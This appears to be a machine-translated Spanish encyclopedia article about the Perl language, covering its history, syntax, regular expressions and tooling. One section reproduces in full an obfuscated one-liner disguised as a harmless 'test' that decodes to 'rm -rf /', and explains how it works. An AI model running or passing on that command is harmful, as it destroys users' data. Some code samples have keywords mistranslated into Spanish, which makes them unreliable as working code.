Perl | |
---|---|
clase de idioma | lenguaje de programación |
Apareció en | 1987 [3] |
Autor | pared de larry |
Desarrollador | Larry Wall [1] y la Fundación Perl [d] [2] |
extensión de archivo | .pl[4] o [4].pm |
Liberar | 5.36.0 (28 de mayo de 2022 ) |
sistema de tipos | dinámica débil |
sido influenciado | C++ , C [1] , sed , AWK , BASIC , Lisp y el shell UNIX |
influenciado | Raku , Ruby , PHP , Groovy , JavaScript |
Licencia | Licencia Artística [d] [5]y Licencia Pública General GNU, versión 1.0 o posterior [d] [6][7] |
Sitio web |
perl.org dev.perl.org/perl5/ |
sistema operativo | Linux [8] , macOS [8] , Microsoft Windows [8] , Solaris [8] , AIX [8] y HP-UX [8] |
Archivos multimedia en Wikimedia Commons |
Perl es un lenguaje de programación dinámico interpretado de alto nivel y de propósito general creado por Larry Wall , un lingüista de formación. El nombre del idioma significa oficialmente Lenguaje práctico de extracción e informes ("lenguaje práctico para extraer datos y compilar informes") [9] , y en broma, como Listador de basura patológicamente ecléctico ("listador de basura patológicamente ecléctico") [9] ; los desarrolladores de lenguajes no consideran su nombre como un acrónimo [10] . Inicialmente, el nombre constaba de cinco caracteres y en esta forma coincidía exactamente con la palabra inglesa pearl ("perla"). Pero luego se supo que existía tal lenguaje (ver PEARL ), y se eliminó la letra "a". El símbolo del lenguaje Perl es el camello , un animal no muy hermoso, pero muy resistente, capaz de hacer un trabajo duro.
La característica principal del lenguaje son sus ricas posibilidades para trabajar con texto, incluido el trabajo con expresiones regulares integradas en la sintaxis. Perl ha heredado muchas propiedades de los lenguajes de programación de shell C , AWK y UNIX .
Perl es famoso por su enorme colección de módulos complementarios de CPAN (alrededor de 200 000 ) que mejoran enormemente sus capacidades. La colección de CPAN se encuentra en https://www.cpan.org .
Perl es un lenguaje de programación de propósito general que se creó originalmente para la manipulación de texto, pero ahora se usa para una amplia gama de tareas, incluida la administración de sistemas , el desarrollo web , la programación de redes , los juegos, la bioinformática y el desarrollo de interfaces gráficas de usuario .
El lenguaje se puede caracterizar más como práctico (facilidad de uso, eficiencia, integridad) que bello (elegancia, minimalismo) [11] . Las principales ventajas del lenguaje son el soporte para varios paradigmas ( estilos de programación procedimental , orientado a objetos y funcional ), control de memoria (sin recolector de basura basado en bucles), soporte incorporado para procesamiento de texto, así como una gran colección de terceros . -módulos de fiesta .
Según Larry Wall , Perl tiene dos lemas. El primero es " Hay más de una forma de hacerlo ", también conocido por las siglas TMTOWTDI . El segundo eslogan es “Las cosas fáciles deberían ser fáciles y las cosas difíciles deberían ser posibles ”.
La estructura general de Perl tiene sus orígenes en términos generales en el lenguaje C. Perl es de naturaleza procedimental , con variables , expresiones de asignación , bloques de código separados por llaves , estructuras de control y funciones .
Perl también toma prestadas varias funciones de los lenguajes de programación de shell de UNIX . Todas las variables están marcadas con caracteres iniciales que expresan exactamente el tipo de datos de la variable en ese contexto (p. ej., escalar, matriz, hash). Es importante destacar que estos signos permiten interpolar variables en cadenas. Perl tiene muchas funciones integradas que proporcionan herramientas que se usan a menudo para la programación de shell, como ordenar o llamar a los servicios del sistema.
Perl toma prestadas matrices de Lisp , expresiones regulares de AWK y sed , y hashes ("matrices asociativas") de AWK. Las expresiones regulares facilitan muchas tareas de análisis, procesamiento de texto y manipulación de datos.
Perl 5 agregó soporte para tipos de datos complejos, funciones de primera clase ( cierre como un valor) y un modelo de objetos. Este último incluye referencias , paquetes, ejecución de métodos de una clase, variables con una declaración de alcance léxico y directivas de compilación (por ejemplo, strict). La mayor mejora introducida en Perl 5 fue la capacidad de poner código en "paquetes" ( paquete ) como módulos para su reutilización. Larry Wall comentó más tarde que "Todo el propósito del sistema modular de Perl 5 era fomentar el crecimiento de la cultura de Perl, no las líneas de código" [12] .
Todas las versiones de Perl hacen tipeo automático de datos y administración automática de memoria. El intérprete conoce el tipo y los requisitos de memoria de cada objeto del programa, asigna y libera memoria mediante el conteo de referencias . La traducción de un tipo de datos a otro, por ejemplo, un número a una cadena, ocurre automáticamente en tiempo de ejecución, las traducciones de tipos de datos imposibles conducen a un error fatal.
Trabajar en WindowsLos usuarios de Microsoft Windows suelen utilizar distribuciones con binarios precompilados, como ActivePerl o Strawberry Perl , ya que compilar Perl desde el código fuente en ese sistema operativo no es una tarea fácil. Cygwin puede facilitar la tarea .
Larry Wall comenzó a desarrollar Perl en 1987 mientras trabajaba como programador para Unisys [13] . La versión 1.0 fue lanzada y anunciada en el grupo de noticias comp.sources.misc el 18 de diciembre de 1987 [14] como "el 'reemplazo' de awk y sed ".
Perl 2 fue lanzado en 1988 . La principal innovación fue un motor de expresiones regulares rediseñado . Perl 3, lanzado en 1989, obtuvo la capacidad de procesar flujos de datos binarios .
Inicialmente, la única documentación para Perl era una sola página de manual (de gran longitud) . En 1991, se lanzó Programación Perl (conocido por muchos programadores como Camel Book debido a la imagen de la portada) y se convirtió en el lenguaje estándar de facto . Al mismo tiempo, la versión del idioma se "actualizó" a 4, no tanto para indicar cambios significativos, sino para indicar que esta versión del idioma estaba documentada en el libro.
Perl 4 pasó por una serie de lanzamientos, deteniéndose en Perl 4.036 en 1993 . En este punto, Larry Wall abandonó Perl 4 y comenzó a trabajar en Perl 5. El desarrollo de Perl 5 comenzó en 1994. Al mismo tiempo, se creó la lista de correo de perl5-porters para coordinar el trabajo de migrar Perl 5 a varias plataformas. Sigue siendo el foro principal para el desarrollo, mantenimiento y portabilidad de Perl 5 [15] .
Perl 5.000 fue lanzado el 17 de octubre de 1994 . [16] Incluía un intérprete completamente reescrito , así como muchas características nuevas del lenguaje, como objetos , referencias , variables locales ( my $var_name) y módulos . Los módulos fueron una parte particularmente importante, ya que proporcionaron un mecanismo para ampliar el lenguaje sin modificar el intérprete. Esto permitió que el intérprete se estabilizara, pero también permitió que los programadores habituales de Perl agregaran nuevas funciones al lenguaje. Perl 5 está en desarrollo activo hasta el día de hoy.
Perl 5.001 fue lanzado el 13 de marzo de 1995. Perl 5.002 se lanzó el 29 de febrero de 1996 con soporte para nuevos prototipos. Esto permitió a los autores de módulos crear funciones que se comportaban como las funciones integradas de Perl. Perl 5.003 se lanzó el 25 de junio de 1996 y solucionó los problemas de seguridad que se habían descubierto.
Uno de los eventos más importantes en la historia de Perl 5 ocurrió fuera del lenguaje mismo y fue consecuencia del soporte de módulos. El 26 de octubre de 1995 comenzó su labor CPAN ( Comprehensive Perl Archive Network ) , que se convirtió en un repositorio de los módulos de Perl , así como del código fuente del propio lenguaje. Actualmente, CPAN tiene más de 198.600 módulos creados por más de 14.000 programadores [17] [18] .
Perl 5.004 se publicó el 15 de mayo de 1997 y contenía, entre otras cosas, el paquete UNIVERSAL, que proporcionaba al lenguaje un objeto base del que se derivaban automáticamente todas las clases. También se ha incluido la posibilidad de solicitar la versión de los módulos. Además de esto, Perl comenzó a ser compatible con Microsoft Windows, así como con otros sistemas operativos.
Perl 5.005 se lanzó el 22 de junio de 1998 . Esta versión incluyó varias mejoras en el motor de expresiones regulares, nuevos enlaces al backend a través de módulos B::*, un operador de comillas qr//para expresiones regulares, una gran selección de otros módulos nuevos y soporte para varios sistemas operativos, en particular BeOS .
Perl 5.6 se lanzó el 22 de marzo de 2000 . Los cambios importantes incluyeron soporte para sistemas de 64 bits, representación de cadenas Unicode , soporte para archivos grandes (archivos de más de 2 GB ) y la palabra clave our[19] [20] . Durante el desarrollo de Perl 5.6, se tomó la decisión de cambiar el esquema de nomenclatura de la versión a uno más parecido al de otros proyectos de código abierto. La versión 5.005_63 fue seguida por la versión 5.5.640; Según el plan, a las versiones de desarrollo se les asignarían números impares, incluso a las versiones estables.
En 2000, Larry Wall hizo un llamado a la comunidad para discutir activamente las propuestas para la próxima versión de Perl. El resultado de esta discusión fueron 361 RFC ( Solicitud de comentarios - "solicitud de comentarios"), que se utilizaron en el desarrollo de Perl 6 . En 2001 [21] se comenzó a trabajar en un documento final que resume las propuestas para una nueva generación de Perl. El resultado no se presentó como un documento formal, sino como un resumen de todas las RFC. En ese momento, Perl 6 existía únicamente como una descripción del lenguaje.
Versiones 5.8.xPerl 5.8 se lanzó por primera vez el 18 de julio de 2002 y desde entonces ha recibido una actualización anual. La última versión de Perl 5.8, 5.8.9, se lanzó el 14 de diciembre de 2008. Perl 5.8 mejoró la compatibilidad con Unicode, agregó una nueva implementación de E/S, agregó compatibilidad con subprocesos múltiples, aumentó la precisión numérica y agregó varios módulos nuevos [22] .
En 2004, se comenzó a trabajar en la Sinopsis, originalmente concebida como una serie de documentos que resumen el documento final mencionado anteriormente. Sin embargo, este conjunto de documentos se convirtió gradualmente en la especificación de Perl 6. En febrero de 2005, Otrius Tan comenzó a trabajar en Pugs , un intérprete de Perl 6 escrito en Haskell [23] . Este fue el primer intento real de hacer realidad Perl 6. Este intento se extinguió en 2006.
Versiones 5.10.xEl 18 de diciembre de 2007, el vigésimo aniversario de Perl 1.0, se lanzó Perl 5.10.0. Esta versión contenía una serie de innovaciones notables que la acercaban a Perl 6 . Algunas de estas innovaciones son nuevas declaraciones de cambio (llamadas "dado"/"cuándo"), actualizaciones de expresiones regulares y el operador de coincidencia "inteligente" "~~" [24] [25] .
Alrededor de este tiempo, el desarrollo comenzó en serio en una nueva implementación de Perl 6, conocida como Rakudo Perl , desarrollada en conjunto con la máquina virtual Parrot . Desde noviembre de 2009, Rakudo Perl se actualiza regularmente todos los meses y actualmente es la implementación más completa de Perl 6 .
Versiones 5.11.xSe produjo un cambio significativo en el proceso de desarrollo de Perl 5 después de la introducción de Perl 5.11. La comunidad de desarrolladores ha pasado a un ciclo de lanzamiento mensual, con la fecha de lanzamiento planificada con tres meses de anticipación.
Versiones 5.12.xEl 12 de abril de 2010, Perl 5.12.0 se lanzó al público. Las innovaciones notables incluyen nueva compatibilidad con la sintaxis package NAME VERSION, el operador Yada Yada (utilizado para marcar el código de marcador de posición que aún no se ha implementado), una solución completa al problema Y2038 (Y2038), sobrecarga del operador de expresiones regulares, compatibilidad con DTrace (marco de seguimiento dinámico), así como compatibilidad total con el estándar Unicode 5.2 [26] . El 7 de septiembre de 2010, se lanzó Perl 5.12.2 y el 21 de enero de 2011 , se lanzó Perl 5.12.3. Estos lanzamientos contienen actualizaciones de módulos, así como algunos cambios en la documentación [27] [28] . La versión 5.12.4 se lanzó el 20 de junio de 2011. La última versión de esta rama, 5.12.5, se lanzó el 10 de noviembre de 2012.
Versiones 5.14.xEl 14 de mayo de 2011 , se lanzó Perl 5.14. La compatibilidad con JSON se ha integrado desde la versión 5.14.2. La última versión de esta rama, 5.14.4, se lanzó el 10 de marzo de 2013.
Versiones 5.16.xEl 20 de mayo de 2012 , se lanzó Perl 5.16. Una característica nueva importante es la capacidad de especificar la versión correcta de Perl para emular, lo que permite a los usuarios actualizar Perl pero mantener los scripts antiguos que de otro modo serían incompatibles con la nueva versión que siguen funcionando [29] . El núcleo de Perl 5.16 es compatible con Unicode 6.1 [29] .
Versiones 5.18.xEl 18 de mayo de 2013 , se lanzó Perl 5.18. Las innovaciones significativas incluyen nuevos ganchos dtrace, funciones léxicas, un aumento en el número de funciones incluidas en el kernel, revisiones a la implementación de hashes por razones de seguridad, soporte para Unicode 6.2 [30] .
Versiones 5.20.x - 5.26.xLa versión 5.20 se lanzó el 27 de mayo de 2014 [31] .
El 16 de abril de 2015 se anunció el esperado lanzamiento de la versión 5.22 [32] , el 9 de mayo de 2016 se lanzó la versión 5.24 [33] .
El 30 de mayo de 2017 , se lanzó la siguiente versión estable número 26 [34] .
Versiones 5.28.xLa versión 5.28.0 se lanzó el 22 de junio de 2018 [35] .
Innovaciones clave :
Devuelve "falso" porque la letra "e" es cirílica (más información sobre la ejecución de scripts [36] )
Características experimentales :
Mejoras de rendimiento :
Otros cambios :
Fue lanzado el 20 de junio de 2020 [37] y durante 13 meses de desarrollo, se cambiaron alrededor de 140 mil líneas de código en 880 archivos. Perl 5.32 pasa a ser compatible a largo plazo durante 5 años o más. En la "Conferencia de Perl y Raku en la nube" [38] , Sawyer X. anunció un importante cambio de versión de Perl de 5 a 7 [39] . Se espera que Perl 7 sea el mismo Perl 5.32 con los valores predeterminados modernos.
Innovaciones clave:
Algunas optimizaciones:
Publicado el 20 de mayo de 2021 [40] [41] . Perl 5.34.0 representa aproximadamente 11 meses de desarrollo desde que se lanzó Perl 5.32.0 y contiene aproximadamente 280 000 líneas de cambios en 2100 archivos de 78 autores. Sin contar la documentación, los archivos generados automáticamente y las herramientas para crear la versión en sí, se cambiaron 150 000 líneas en 1300 archivos .pm , .t , .c y .h .
Nueva funcionalidad:
Algunos observadores han acreditado el lanzamiento de Perl 5.10 con el lanzamiento del movimiento Modern Perl [42] [43] . En particular, esta frase describe un estilo de desarrollo que involucra el uso de CPAN, aprovechando los últimos desarrollos en el lenguaje y exigiendo código de alta calidad [44] .
A finales de 2012 y en 2013 se lanzaron varios proyectos sobre una implementación alternativa de Perl 5: Perl5 en Perl6 (Rakudo Perl team) [45] , moe (Stephen Little and friends) [46] , p2 [47] (Perl11 equipo de Reini Urban), así como gperl (goccy) [48] .
Desde 2000, se ha desarrollado una nueva (6ª) versión del lenguaje. A diferencia de las versiones anteriores, los desarrolladores planean crear un estándar de lenguaje bien definido. Actualmente existen compiladores experimentales de Perl 6 , pero continúa la discusión sobre nuevas reglas.
La sintaxis de Perl comparte muchas similitudes con las de C , AWK , sed y Bourne shell .
La primera línea del código fuente puede comenzar con "#!/Path/to/Perl [-switches]", que le indica al sistema la ruta al intérprete de Perl para ejecutar programas en sistemas UNIX y ejecutarlos en un servidor web (ver también: shebang (Unix) ).
El programa más simple " ¡Hola, mundo!" " como sigue:
#!/usr/bin/perl print "¡Hola mundo!\n" ;ya sea para CGI :
#!/usr/bin/perl print "Tipo de contenido: texto/html\n\n" ; imprimir "¡Hola mundo!" ;ya sea utilizando uno de los marcos web posmodernos
usar Mojolicious::Lite ; get '/' => { texto => '¡Hola mundo!' }; aplicación -> iniciar ;o utilizando la especificación PSGI
my $app = sub { return [ 200 , [ 'Content-Type' => 'text/plain' ], [ "hola, mundo\n" ]]; }Agregar a una cadena.
$x = 5 ; $x .= 0 ; imprimir $x ; #cincuentaY así es como puedes imprimir el número googol .
imprimir 1 , 0 x 100 ;Tipos de datos básicos: escalar , matriz , tabla hash , función , puntero de archivo , entrada de tabla de símbolos . Las variables de diferentes tipos se distinguen por el signo que precede al nombre de la variable:
Tipo de | Símbolo | Ejemplo | Descripción |
---|---|---|---|
Escalar | ps | $foo | valor único; puede ser un número, una cadena , una referencia de archivo o un enlace . |
formación | @ | @foo | Una colección ordenada de escalares. |
Tabla de picadillo | % | %foo | Colección de pares cadena-escalar; las cadenas se llaman claves y los escalares se llaman valores . El sinónimo es una matriz asociativa . |
descriptor de archivo | < > | $foo o FOO | Una representación de un archivo abierto u otro objetivo abierto para lectura y/o escritura. |
Función | & | & foo | Una pieza de código que toma argumentos, realiza acciones y devuelve valores. |
Entrada de la tabla de símbolos | * | *fú | Entrada de la tabla de símbolos para todos los tipos denominados 'foo'. |
Las variables escalares se utilizan para almacenar valores únicos. Pueden contener números, cadenas y referencias a otros objetos . Un nombre de variable escalar debe estar precedido por un signo de dólar '$'. El tipo de una variable escalar no es fijo (a diferencia, por ejemplo, del lenguaje C ) y se determina dinámicamente según el contexto. Por ejemplo,
$x = 10 ; # numero $y = $x + 1 ; # usar $x como número... $z = $x . 'cadena' ; # ... y ahora como cadena $ref = \ $x ; # $ref es un puntero a $x $$ref = 10 ; # $x contiene el valor 10Los datos de cadena deben estar entre comillas. Perl utiliza dos tipos de comillas, comillas simples y comillas dobles. Encerrar una cadena entre comillas dobles le permite reemplazar automáticamente los nombres de las variables que aparecen con sus valores. Encerrar cadenas entre comillas simples evita este comportamiento:
## Un ejemplo de interpolación de variables entre comillas dobles $ pi = 3.141592654 ; $var1 = 'El valor de Pi es $pi\n' ; imprimir $var1 ; # El valor de Pi es $pi\n $var2 = "El valor de Pi es $pi\n" ; imprimir $var2 ; # El valor de Pi es 3.141592654Para incluir comillas dobles en una cadena que tiene comillas dobles, use \". Para incluir comillas simples en una cadena entre comillas simples, use \'. Para la conveniencia de trabajar con cadenas que contienen muchos caracteres de comillas adentro, Perl le permite use métodos alternativos de citar La forma alternativa usa cualquier par de caracteres colocados después de la letra q (imita el comportamiento de las comillas simples) o qq (imita el comportamiento de las comillas dobles):
## Un ejemplo del uso de comillas alternativas $ pi = 3.141592654 ; $enlace1 = q{<a href="http://en.wikipedia.org/wiki/Pi">$pi</a>} ; imprimir $enlace1 ; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a> $enlace2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi ">$pi</a>} ; imprimir $enlace2 ; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>Otro tipo de comillas en Perl son las comillas inversas. Contienen programas del sistema operativo cuya salida se puede canalizar al intérprete de Perl. Por ejemplo:
## Un ejemplo del uso de acentos graves para ejecutar comandos UNIX $espacio = `du -s -k /usr/local/bin` ; imprimir $espacio ; #6264 /usr/local/bin $sysuptime = `tiempo de actividad` ; imprimir $sysuptime ; # 2:24 hasta 1 día, 9:05, 1 usuario, promedios de carga: 0.26 0.32 0.33 MatrizUna matriz es una lista ordenada de escalares . Cada elemento de la matriz tiene un índice ordinal por el cual se puede acceder. La numeración de elementos comienza desde cero, es decir, el primer elemento de la lista tiene índice 0. Antes del nombre de la variable del arreglo, debe colocar el signo '@', y para acceder a un elemento específico del arreglo, use el '$ ' signo, ya que un solo elemento de la matriz es un escalar. Las matrices multidimensionales se pueden modelar colocando enlaces a otras listas en una lista.
@matriz = ( 1 , 2 , 3 , 4 ); # escribir cuatro elementos en la matriz @array print $array [ 2 ]; # imprime el tercer elemento print @array [ 2 , 3 ]; # imprime el tercer y cuarto elemento. # @ se usa aquí porque el resultado de una operación de corte de matriz también es una matriz. Tabla hashUna tabla hash se puede inicializar con una matriz o una lista que consta de un número ilimitado de secuencias (clave, valor).
%hash = ( gato => 'gatito' , # aquí => es la llamada "coma larga", en este ejemplo perro => 'cachorro' , # completamente similar en función al ordinario "," excepto vaca => 'becerro' # que los literales de la izquierda están citados implícitamente ); imprimir $ hash { 'gato' }; #Imprimir combinación de impresión de gatito ( " - " , teclas %hash ) ; # Emitir todas las claves. Print gato-perro-vaca print join ( "-" , valores %hash ) ; # Mostrar todos los valores. Imprimir gatito-cachorro-ternero print join ( "-" , %hash ) ; # Imprime gato-gatito-vaca-ternero-perro-cachorro, porque en un contexto de lista el hash se # expande automáticamente en una lista (clave, valor). Dado que las claves en el hash no están ordenadas, se generarán # pares en orden aleatorio cada vez. FunciónUso:
$s = línea de lectura * STDIN ; #Leer una línea de STDIN (flujo de entrada estándar); contexto escalar. @valores = <ARCHIVO> ; #Leyendo todas las líneas de algún archivo abierto y asociado con el descriptor de ARCHIVO; contexto de la lista. imprimir STDOUT $s ; #Imprimir en STDOUT (flujo de salida estándar)Un ejemplo más preciso donde se usa typeglob para pasar un descriptor de archivo a una función:
mi $archivo = 'archivo.txt' ; #nombre del archivo a leer open FH , $file ; #abrir archivo mi $texto = _parseFile ( * FH ); #pasar el descriptor de archivo a la función de impresión $texto ; cerrar FH ; # asegúrese de cerrar el descriptor de archivo sub _parseFile { my $fh = shift ; #obtener descriptor de archivo mi $texto = unirse ( '' , <$fh> ); #leer línea por línea desde el descriptor de archivo en una cadena y colocarlo en la variable $texto return $texto ; }Las versiones recientes de Perl han introducido la capacidad de almacenar descriptores de archivos en escalares, y los programas más nuevos prefieren usar este método.
Las tablas de símbolos también se usan para asociar dos nombres de variables con un solo valor en la memoria, creando sinónimos que se pueden usar para acceder y modificar el valor al igual que el nombre original. Esta capacidad es la base del sistema de módulos, clases y objetos cargables de Perl .
Un objeto en Perl es simplemente una referencia asociada con una clase particular (paquete). Para la comunicación, se utiliza la función bendecir. Las rutinas de dicho paquete vinculado son métodos y reciben una referencia como primer argumento.
No existe una sintaxis especial para los constructores, se usa una rutina de paquete que devuelve una referencia asociada con ese paquete.
También hay muchas extensiones del sistema OOP que le permiten cambiar la sintaxis y usar azúcar sintáctico, entre las que vale la pena mencionar el módulo Moose cpan y su versión ligera Moo [49] . Moose es utilizado por muchos proyectos y grandes empresas como la BBC o Cisco [50] .
Las expresiones regulares son una parte importante de Perl . Esto hace que Perl sea muy adecuado para el procesamiento de textos. La mayor parte del trabajo con expresiones regulares se realiza con los operadores =~, m//y s///.
El operador m//se utiliza para probar una coincidencia. En el caso más simple, el resultado de la expresión $x =~ m/abc/será verdadero si y solo si la cadena $xcoincide con la expresión regular abc. Por ejemplo:
Ejemplo | Sentido |
---|---|
$x =~ /abc/ | La cadena $xcontiene la (sub)cadena "abc". La "m" inicial del operador //puede omitirse cuando se usa. |
$x =~ m/a(.{1,3})c/ | La cadena $xcontiene la letra "a", luego uno o tres caracteres que no sean el carácter de nueva línea "\n", y luego la letra "c". |
$x =~ m{^p(erl|ugs)$}i | La cadena $xes estrictamente igual a "perl" o "pugs" y no distingue entre mayúsculas y minúsculas. Además, en lugar //de expresiones regulares rodeadas de {}. |
La búsqueda y el reemplazo se realizan mediante el operador s///. La construcción $x =~ s/abc/def/;reemplazará la primera aparición de la expresión regular abccon la cadena def.
Ejemplo | Sentido |
---|---|
$x =~ s/abc/def/g; | Todas las ocurrencias (como lo indica el indicador -global /g ) de la subcadena "abc" en $xserán reemplazadas por "def". |
$x =~ s/a(.{1,3})c/!$1!/; | La primera aparición de las $xletras "a", luego de uno a tres caracteres que no sean el carácter de nueva línea "\n", y luego la letra "c" será reemplazada por los caracteres entre "a" y "c", rodeados por "!". Por ejemplo, "sintáctico" se convertiría en "synt!cti!". |
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg; | Aquí hay un ejemplo del uso del modificador /e, que indica que en lugar de la cadena de reemplazo, se escribirá el código, cuyo resultado se debe usar. Todas las apariciones de "perl" o "pugs" en cualquier caso se cambiarán a "Perl" y "Pugs", respectivamente. |
Con la llegada de las expresiones regulares dinámicas (??{ код Perl })y la construcción para incluir código Perl ejecutable en una expresión regular, las (?{ код Perl })posibilidades de búsqueda y reemplazo son casi ilimitadas. Por ejemplo, se hizo posible buscar estructuras de nivel de anidamiento arbitrario.
Las expresiones regulares de Perl son tan populares que se incluyen directamente en otros lenguajes como PHP y JavaScript , y también existen bibliotecas de complementos que implementan el uso de expresiones en lenguajes compilados.
Una característica interesante y de uso frecuente de Perl son los llamados one-liners: programas de una línea, generalmente especificados directamente en la línea de invocación del intérprete usando la extensión -e.
Este programa imprimirá números primos :
perl - wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && imprimir while ++ $_'Este ejemplo imprimirá solo las líneas únicas del archivo de archivo, la clave -nenvuelve automáticamente la línea de procesamiento en un bucle que itera a través de todas las líneas en los archivos especificados después del texto del programa:
perl - ne '$s{$_}++ || archivo de impresiónNota: Para ejecutar el comando anterior en Windows, reemplace los apóstrofes 'con comillas dobles ".
En estos ejemplos, Perl se parece a J en su brevedad e incomprensibilidad a primera vista .
También uno de esos ejemplos es el programa [51] , que causó mucha controversia, es en realidad un parche de Barmin (un comando disfrazado para eliminar recursivamente todos los archivos):
echo "prueba... prueba... prueba..." | perl -e ' $ ??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;ver'echo "test... test... test..." la ejecución de este comando no afecta el trabajo y se agrega, muy probablemente, para calmar la vigilancia. Lo que sucede en el resto del código no es del todo obvio debido a la escritura deliberadamente confusa. Esta línea contiene solo tres comandos ejecutados secuencialmente. Escribamos el comando de la siguiente manera:
ps ? s: ; s:s ;; ps : : s ;; = ] => % - { <-| } <&| `{; ; y; -/:-@[-` { - }; ` - { / " - ; ; s ;; $_ ; verLa primera construcción analiza el $? es el código de retorno del comando anterior. Dado que no se crearon procesos secundarios antes de esta construcción, $? contendrá 0, y la segunda rama se ejecutará s;;=]=>%-{<-|}<&|`{;. Este comando, a su vez, reemplaza la cadena en la variable del acumulador $_ con =]=>%-{<-|}<&|`{ (el primer carácter después de la s establece el delimitador de parámetros para este operador, y aunque el barra inclinada '/' o '|', en aras de la claridad, esta construcción utiliza el delimitador ';').
El segundo comando transmite el contenido del "acumulador" de acuerdo con reglas bastante complicadas. Cuatro rangos de caracteres se indican en el lado izquierdo, un rango se indica a la derecha. Si ampliamos estos rangos, obtenemos la siguiente correspondencia:
! "#$%&'()*+,-./:;<=>?@[\]^_`{|} `abcdefghijklmnopqrstuvwxyz{/" -Como resultado, el contenido de $_ se convierte en
sistema "rm-rf/"El tercer comando, sin embargo, dos veces (según las instrucciones de la bandera ee) "calcula" el contenido del acumulador, el comando destructivo anterior , e intenta reemplazar la cadena vacía en el acumulador con el resultado del cálculo.
Perl está lejos de ser el único lenguaje que proporciona capacidades de procesamiento de texto enriquecido. Los lenguajes de programación REFAL , Icon y Snobol brindan la oportunidad de utilizar de manera más completa el método de programación de "coincidencia de patrones", del cual las expresiones regulares son un caso especial.
También hay un shell de comandos UNIX completo basado en el lenguaje Perl. Se llama psh y te permite mezclar los comandos del shell regular y el propio Perl [52] .
Incluso puedes escribir poemas en Perl. Uno de estos poemas, llamado "Black Perl" ("Black Pearl" o "Black Pearl"), fue mencionado por Larry Wall en una carta de April Fool a Usenet . Originalmente se escribió para Perl 3 y, según las propias palabras de Larry, sintió una satisfacción moral cuando el poema falló en el analizador en Perl 5.
DELANTE: cierre la puerta , cada ventana y salga ; espera hasta el momento . abrir libro de hechizos , estudiar , leer ( escanear , seleccionar , contarnos ) ; escríbalo , imprima el hexadecimal completo para cada reloj , invierta su longitud , escriba de nuevo ; matar arañas , reventarlas , picarlas , dividirlas , matarlas . _ _ desenlazar los brazos , cambiar , esperar y escuchar ( escuchar , esperar ), ordenar el rebaño ( luego , advertir a las "cabras" y matar a las "ovejas" ); mátenlos , desháganse de escrúpulos , desviaciones morales , valores a un lado , cada uno ; muera oveja ! muere para revertir el sistema que aceptas ( rechazar , respetar ); siguiente paso , matar , siguiente sacrificio , cada sacrificio , esperar , rehacer el ritual hasta que "todos los espíritus estén complacidos" ; hazlo ( " como dicen" ) . hazlo ( * todos *** deben *** participar *** en *** prohibido ** s * e * x * ) . _ devolver la última víctima ; cuerpo del paquete ; salga de la cripta ( tiempo , tiempos y "medio tiempo" ) y ciérrela , seleccione ( rápidamente ) y advierta a su próxima víctima ; EPÍLOGOS: no se lo digas a nadie , espera , espera hasta el momento ; espera hasta el próximo año , la próxima década ; duerme , duerme , muere tú mismo , muere al finEspecialmente para los desarrolladores de Perl en Perl que utilizan la biblioteca de interfaz wxWidgets , se escribe un producto tan abierto como Padre IDE (abreviatura de "Perl Application Development and Refactoring Environment" ) [53] .
El soporte de Perl está incluido en el versátil IDE ActiveState Komodo y su versión de código abierto Komodo Edit [54] . Para Eclipse , el soporte de Perl se implementa como el paquete de extensión EPIC [53] [55] . Ambos entornos incluyen, entre otras cosas, un depurador visual [56] . IntelliJ IDEA y otros productos de JetBrains son compatibles con Perl5 a través de un complemento de código abierto llamado Camelcade .
La compatibilidad con Pearl de una forma u otra está disponible en la mayoría de los editores de texto para programadores, como Vim [53] , Emacs [53] , SciTE [ 53] , Gedit [57] , Geany , jEdit [57] , Sublime Text , o dedicado para Windows Notepad++ [53] [57] y PSPad , así como productos shareware como UltraEdit y UEStudio de IDM Computer Solutions, Inc. Para Mac OS , TextMate [53] puede servir como dicho editor .
Perl Editor, que forma parte de una línea de editores shareware especializados para programadores de DzSoft [58] [59] [60] , también es bastante popular entre los usuarios de Windows . El editor gratuito Mastak Absolute Perl [61] era bastante conocido , pero su desarrollo y soporte han sido descontinuados, la última versión está fechada el 29 de septiembre de 2003 [62] . Otro editor perl doméstico gratuito para Windows es Perl Express [63] (la última versión con interfaz en ruso es la 2.4.5 con fecha del 2 de diciembre de 2005, con interfaz en inglés - 2.5 con fecha del 23 de diciembre de 2005) [64] . Otros entornos de desarrollo especializados para Perl incluyen el shareware IDE PerlBuilder [65] [66] [67] y el editor local Collie Perl Shell 2.0 [66] [68] .
sitios temáticos | ||||
---|---|---|---|---|
diccionarios y enciclopedias | ||||
|
Perl | |
---|---|
Gente |
|
Cosas | |
Marcos |
|
|
Software gratuito y de código abierto | |
---|---|
Lo principal |
|
Comunidad |
|
Organizaciones |
|
Licencias | |
Problemas | |
Otro |
|
|